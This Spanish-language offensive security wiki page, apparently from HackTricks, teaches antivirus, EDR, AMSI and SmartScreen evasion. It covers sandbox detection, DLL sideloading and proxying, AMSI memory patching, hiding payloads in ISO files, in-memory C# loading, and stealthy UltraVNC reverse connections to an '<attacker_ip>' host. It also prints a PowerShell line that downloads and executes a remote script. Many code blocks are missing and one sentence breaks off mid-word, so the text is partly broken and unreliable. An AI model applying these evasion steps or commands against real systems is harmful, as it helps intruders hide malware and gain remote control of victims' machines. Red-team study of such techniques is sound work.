Antivirus (AV) Bypass
Esta página fue escrita por @m2rc_p!
Metodología de Evasión de AV
Actualmente, los AV utilizan diferentes métodos para verificar si un archivo es malicioso o no, detección estática, análisis dinámico y para los EDR más avanzados, análisis de comportamiento.
Detección estática
La detección estática se logra marcando cadenas maliciosas conocidas o matrices de bytes en un binario o script, y también extrayendo información del propio archivo (por ejemplo, descripción del archivo, nombre de la empresa, firmas digitales, icono, suma de comprobación, etc.). Esto significa que el uso de herramientas públicas conocidas puede hacer que te descubran más fácilmente, ya que probablemente hayan sido analizadas y marcadas como maliciosas. Hay un par de formas de evitar este tipo de detección:
Cifrado
Si cifras el binario, no habrá forma de que el AV detecte tu programa, pero necesitarás algún tipo de cargador para descifrar y ejecutar el programa en memoria.
Ofuscación
A veces todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase desapercibido por el AV, pero esta puede ser una tarea que consume mucho tiempo dependiendo de lo que estés tratando de ofuscar.
Herramientas personalizadas
Si desarrollas tus propias herramientas, no habrá firmas maliciosas conocidas, pero esto requiere mucho tiempo y esfuerzo.
Una buena forma de verificar contra la detección estática de Windows Defender es ThreatCheck. Básicamente divide el archivo en múltiples segmentos y luego le pide a Defender que escanee cada uno individualmente, de esta manera, puede decirte exactamente cuáles son las cadenas o bytes marcados en tu binario.
Recomiendo encarecidamente que veas esta lista de reproducción de YouTube sobre Evasión de AV práctica.
Análisis dinámico
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa la actividad maliciosa (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minivolcado en LSASS, etc.). Esta parte puede ser un poco más complicada de trabajar, pero aquí hay algunas cosas que puedes hacer para evadir los sandboxes.
Esperar antes de la ejecución Dependiendo de cómo esté implementado, puede ser una excelente manera de eludir el análisis dinámico del AV. Los AV tienen muy poco tiempo para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar esperas largas puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente omitir la espera dependiendo de cómo esté implementada.
Verificación de recursos de la máquina Por lo general, los Sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB de RAM), de lo contrario podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades del ventilador, no todo estará implementado en el sandbox.
Verificaciones específicas de la máquina Si deseas apuntar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes verificar el dominio de la computadora para ver si coincide con el que has especificado, si no lo hace, puedes hacer que tu programa se cierre.
Resulta que el nombre de la computadora del Sandbox de Microsoft Defender es HAL9TH, por lo tanto, puedes verificar el nombre de la computadora en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox del defensor, por lo que puedes hacer que tu programa se cierre.
Algunos otros consejos realmente buenos de @mgeeky para enfrentarse a los Sandboxes
Como hemos mencionado anteriormente en esta publicación, las herramientas públicas eventualmente serán detectadas, por lo tanto, deberías preguntarte algo:
Por ejemplo, si deseas volcar LSASS, ¿realmente necesitas usar mimikatz? ¿O podrías usar un proyecto diferente que sea menos conocido y también volque LSASS.
La respuesta correcta probablemente sea la última. Tomando mimikatz como ejemplo, probablemente sea una de, si no la pieza de malware más marcada por los AV y EDR, aunque el proyecto en sí es genial, también es una pesadilla trabajar con él para evadir los AV, así que busca alternativas para lo que estás tratando de lograr.
Cuando modifiques tus payloads para la evasión, asegúrate de desactivar el envío automático de muestras en defender, y por favor, en serio, NO SUBAS A VIRUSTOTAL si tu objetivo es lograr la evasión a largo plazo. Si deseas verificar si tu payload es detectado por un AV en particular, instálalo en una VM, intenta desactivar el envío automático de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
EXEs vs DLLs
Siempre que sea posible, prioriza el uso de DLLs para la evasión, en mi experiencia, los archivos DLL suelen ser mucho menos detectados y analizados, por lo que es un truco muy simple de usar para evitar la detección en algunos casos (si tu payload tiene alguna forma de ejecutarse como una DLL, por supuesto).
Como podemos ver en esta imagen, un Payload DLL de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que el payload EXE tiene una tasa de detección de 7/26.
Ahora mostraremos algunos trucos que puedes usar con archivos DLL para ser mucho más sigiloso.
Carga lateral y proxy de DLL
La carga lateral de DLL aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga(s) maliciosa(s) junto a ella.
Puedes verificar los programas susceptibles a la carga lateral de DLL utilizando Siofra y el siguiente script de PowerShell:
Este comando mostrará la lista de programas susceptibles a secuestro de DLL dentro de "C:\Program Files\" y los archivos DLL que intentan cargar.
Recomiendo encarecidamente que exploréis vosotros mismos los programas vulnerables al secuestro/carga lateral de DLL, esta técnica es bastante sigilosa si se hace correctamente, pero si utilizáis programas de carga lateral de DLL conocidos públicamente, podríais ser descubiertos fácilmente.
Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar no cargará tu carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada Proxy/Reenvío de DLL.
El Proxy de DLL redirige las llamadas que un programa realiza desde la DLL de proxy (maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu carga útil.
Voy a utilizar el proyecto SharpDLLProxy de @flangvik
Estos son los pasos que seguí:
El último comando nos dará 2 archivos: una plantilla de código fuente DLL y el DLL original renombrado.
Estos son los resultados:
¡Tanto nuestro shellcode (codificado con SGN) como la DLL proxy tienen una tasa de detección de 0/26 en antiscan.me! Yo llamaría a eso un éxito.
Recomiendo encarecidamente que veas el VOD de S3cur3Th1sSh1t en Twitch sobre la carga lateral de DLL y también el video de ippsec para aprender más sobre lo que hemos discutido de manera más profunda.
Freeze es un kit de herramientas de carga útil para evadir EDRs utilizando procesos suspendidos, llamadas al sistema directas y métodos de ejecución alternativos
Puedes usar Freeze para cargar y ejecutar tu shellcode de manera sigilosa.
La evasión es solo un juego del gato y el ratón, lo que funciona hoy podría ser detectado mañana, así que nunca confíes solo en una herramienta, si es posible, intenta encadenar múltiples técnicas de evasión.
AMSI (Interfaz de Escaneo Antimalware)
AMSI fue creado para prevenir el "malware sin archivo". Inicialmente, los AV solo podían escanear archivos en disco, por lo que si de alguna manera podías ejecutar cargas útiles directamente en la memoria, el AV no podía hacer nada para evitarlo, ya que no tenía suficiente visibilidad.
La característica AMSI está integrada en estos componentes de Windows.
Control de cuentas de usuario, o UAC (elevación de instalación de EXE, COM, MSI o ActiveX)
PowerShell (scripts, uso interactivo y evaluación de código dinámico)
Host de secuencias de comandos de Windows (wscript.exe y cscript.exe)
JavaScript y VBScript
Macros de Office VBA
Permite a las soluciones antivirus inspeccionar el comportamiento de los scripts exponiendo el contenido del script de una forma que es tanto no encriptada como no ofuscada.
Ejecutar IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
producirá la siguiente alerta en Windows Defender.
Observa cómo antepone amsi:
y luego la ruta al ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe
No dejamos caer ningún archivo en disco, pero aún así fuimos atrapados en memoria debido a AMSI.
Hay un par de formas de evitar AMSI:
Ofuscación
Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena forma de evadir la detección.
Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tiene múltiples capas, por lo que la ofuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadirlo. Aunque, a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto haya sido marcado algo.
Bypass de AMSI
Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario sin privilegios. Debido a esta falla en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
Forzar un Error
Forzar que la inicialización de AMSI falle (amsiInitFailed) hará que no se inicie ningún escaneo para el proceso actual. Originalmente esto fue divulgado por Matt Graeber y Microsoft ha desarrollado una firma para evitar un uso más amplio.
Todo lo que se necesitó fue una línea de código de powershell para desactivar AMSI para el proceso actual de powershell. Esta línea, por supuesto, ha sido detectada por AMSI, por lo que se necesita alguna modificación para poder utilizar esta técnica.
Aquí tienes un bypass modificado de AMSI que saqué de este Github Gist.
Parcheo de Memoria
Esta técnica fue descubierta inicialmente por @RastaMouse e implica encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones para devolver el código E_INVALIDARG, de esta manera, el resultado del escaneo real devolverá 0, lo que se interpreta como un resultado limpio.
Por favor, lee https://rastamouse.me/memory-patching-amsi-bypass/ para obtener una explicación más detallada.
También existen muchas otras técnicas utilizadas para evadir AMSI con powershell, consulta esta página y este repositorio para aprender más sobre ellas.
O este script que, a través del parcheo de memoria, parcheará cada nuevo Powersh
Ofuscación
Existen varias herramientas que se pueden utilizar para ofuscar código C# en texto claro, generar plantillas de metaprogramación para compilar binarios u ofuscar binarios compilados como:
InvisibilityCloak: Ofuscador de C#
Obfuscator-LLVM: El objetivo de este proyecto es proporcionar un fork de código abierto del conjunto de compilación LLVM capaz de proporcionar una mayor seguridad del software a través de la ofuscación de código y protección contra manipulaciones.
ADVobfuscator: ADVobfuscator demuestra cómo utilizar el lenguaje
C++11/14
para generar, en tiempo de compilación, código ofuscado sin utilizar ninguna herramienta externa y sin modificar el compilador.obfy: Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que dificultará la vida de la persona que quiera crackear la aplicación.
Alcatraz: Alcatraz es un ofuscador binario x64 que es capaz de ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
metame: Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
ropfuscator: ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes admitidos por LLVM que utilizan ROP (programación orientada a la devolución). ROPfuscator ofusca un programa a nivel de código de ensamblaje transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
Nimcrypt: Nimcrypt es un Crypter de PE .NET escrito en Nim
inceptor: Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos
SmartScreen y MoTW
Es posible que hayas visto esta pantalla al descargar algunos ejecutables de internet y ejecutarlos.
Microsoft Defender SmartScreen es un mecanismo de seguridad destinado a proteger al usuario final contra la ejecución de aplicaciones potencialmente maliciosas.
SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones descargadas de forma poco común activarán SmartScreen, alertando así y evitando que el usuario final ejecute el archivo (aunque el archivo aún se puede ejecutar haciendo clic en Más información -> Ejecutar de todos modos).
MoTW (Marca de la Web) es un flujo de datos alternativo de NTFS con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de internet, junto con la URL desde la que se descargó.
Es importante tener en cuenta que los ejecutables firmados con un certificado de firma confiable no activarán SmartScreen.
Una forma muy efectiva de evitar que tus cargas útiles reciban la Marca de la Web es empaquetarlas dentro de algún tipo de contenedor como un ISO. Esto sucede porque la Marca de la Web (MOTW) no se puede aplicar a volúmenes no NTFS.
PackMyPayload es una herramienta que empaqueta cargas útiles en contenedores de salida para evadir la Marca de la Web.
Uso de ejemplo:
Aquí tienes una demostración para evadir SmartScreen empaquetando payloads dentro de archivos ISO usando PackMyPayload
Reflexión de Ensamblado C#
Cargar binarios C# en memoria ha sido conocido durante bastante tiempo y sigue siendo una excelente manera de ejecutar tus herramientas de post-explotación sin ser detectado por el AV.
Dado que el payload se cargará directamente en memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso.
La mayoría de los marcos C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya proporcionan la capacidad de ejecutar ensamblados C# directamente en memoria, pero hay diferentes formas de hacerlo:
Fork&Run
Implica crear un nuevo proceso sacrificial, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y cuando haya terminado, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus inconvenientes. El beneficio del método fork and run es que la ejecución ocurre fuera de nuestro proceso de implante Beacon. Esto significa que si algo sale mal o es detectado en nuestra acción de post-explotación, hay una mayor probabilidad de que nuestro implante sobreviva. La desventaja es que tienes una mayor probabilidad de ser detectado por Detecciones de Comportamiento.
Inline
Se trata de inyectar el código malicioso de post-explotación en su propio proceso. De esta manera, puedes evitar tener que crear un nuevo proceso y que sea escaneado por el AV, pero la desventaja es que si algo sale mal con la ejecución de tu payload, hay una mayor probabilidad de perder tu beacon ya que podría fallar.
Si deseas leer más sobre la carga de ensamblados C#, por favor revisa este artículo https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ y su BOF InlineExecute-Assembly (https://github.com/xforcered/InlineExecute-Assembly)
También puedes cargar ensamblados C# desde PowerShell, revisa Invoke-SharpLoader y el video de S3cur3th1sSh1t.
Uso de Otros Lenguajes de Programación
Como se propone en https://github.com/deeexcee-io/LOI-Bins, es posible ejecutar código malicioso utilizando otros lenguajes al darle a la máquina comprometida acceso al entorno del intérprete instalado en el recurso compartido SMB controlado por el Atacante.
Al permitir el acceso a los Binarios del Intérprete y al entorno en el recurso compartido SMB, puedes ejecutar código arbitrario en estos lenguajes dentro de la memoria de la máquina comprometida.
El repositorio indica: Defender aún escanea los scripts pero al utilizar Go, Java, PHP, etc. tenemos más flexibilidad para evadir firmas estáticas. Las pruebas con scripts de shell inverso aleatorios y no obfuscados en estos lenguajes han tenido éxito.
Evasión Avanzada
La evasión es un tema muy complicado, a veces debes tener en cuenta muchas fuentes diferentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectable en entornos maduros.
Cada entorno contra el que te enfrentes tendrá sus propias fortalezas y debilidades.
Te animo encarecidamente a ver esta charla de @ATTL4S, para adentrarte en técnicas de Evasión Avanzadas.
También es otra gran charla de @mariuszbit sobre Evasión en Profundidad.
Técnicas Antiguas
Verificar qué partes encuentra Defender como maliciosas
Puedes usar ThreatCheck que eliminará partes del binario hasta que descubra qué parte encuentra Defender como maliciosa y te la dividirá. Otra herramienta que hace lo mismo es avred con un servicio web abierto que ofrece el servicio en https://avred.r00ted.ch/
Haz que empiece cuando se inicie el sistema y ejecútalo ahora:
Cambiar el puerto de telnet (sigiloso) y deshabilitar el firewall:
UltraVNC
Descárgalo desde: http://www.uvnc.com/downloads/ultravnc.html (querrás las descargas binarias, no la configuración)
EN EL HOST: Ejecuta winvnc.exe y configura el servidor:
Habilita la opción Disable TrayIcon
Establece una contraseña en VNC Password
Establece una contraseña en View-Only Password
Luego, mueve el binario winvnc.exe y el archivo recién creado UltraVNC.ini dentro del víctima
Conexión inversa
El atacante debe ejecutar dentro de su host el binario vncviewer.exe -listen 5900
para que esté preparado para capturar una conexión VNC inversa. Luego, dentro del víctima: Inicia el demonio winvnc winvnc.exe -run
y ejecuta winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
ADVERTENCIA: Para mantener el sigilo debes evitar hacer algunas cosas
No inicies
winvnc
si ya está en ejecución o activarás una ventana emergente. verifica si está en ejecución contasklist | findstr winvnc
No inicies
winvnc
sinUltraVNC.ini
en el mismo directorio o causará que se abra la ventana de configuraciónNo ejecutes
winvnc -h
para obtener ayuda o activarás una ventana emergente
GreatSCT
Descárgalo desde: https://github.com/GreatSCT/GreatSCT
Dentro de GreatSCT:
Ahora inicia el escuchador con msfconsole -r file.rc
y ejecuta el payload xml con:
El defensor actual terminará el proceso muy rápido.
Compilando nuestra propia shell inversa
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Primera shell inversa en C#
Compílalo con:
Úselo con:
C# utilizando el compilador
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Descarga y ejecución automática:
Lista de ofuscadores de C#: https://github.com/NotPrab/.NET-Obfuscator
C++
Usando python para construir ejemplos de inyectores:
Otras herramientas
Más
Última actualización